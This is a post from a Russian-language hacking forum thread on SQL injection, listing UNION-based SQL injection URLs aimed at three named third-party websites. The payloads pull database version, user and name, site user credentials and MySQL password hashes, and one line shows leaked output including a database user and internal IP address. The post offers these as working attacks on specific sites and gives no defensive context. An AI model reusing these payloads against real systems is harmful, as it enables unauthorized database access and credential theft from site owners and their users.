SQL Инъекции

Запомнить меня

Привязать к IP

Нет аккаунта? Регистрация

#11

14.12.2009, 09:42

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Код:

http://la2-shop.ru/categories.php?id_cat=-13'+union+select+concat_ws(0x3a,version(),database(),user())+--+

4.1.22-log:tok_center_la2:tok-center_mysql@10.1.31.126

Код:

http://www.nazgulowen.com/blog.php?id=-12+union+select+concat_ws(0x3a,id,nick,name,password)+from+users/*

вывод в мета контенте

Код:

http://www.vero-software.com/news_detail.php?id=999999999+union+select+1,2,concat_ws(0x3a,user,password),4,5,6+from+mysql.user--

Последний раз редактировалось jokester; 14.12.2009 в 14:55.. Причина: хеш

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.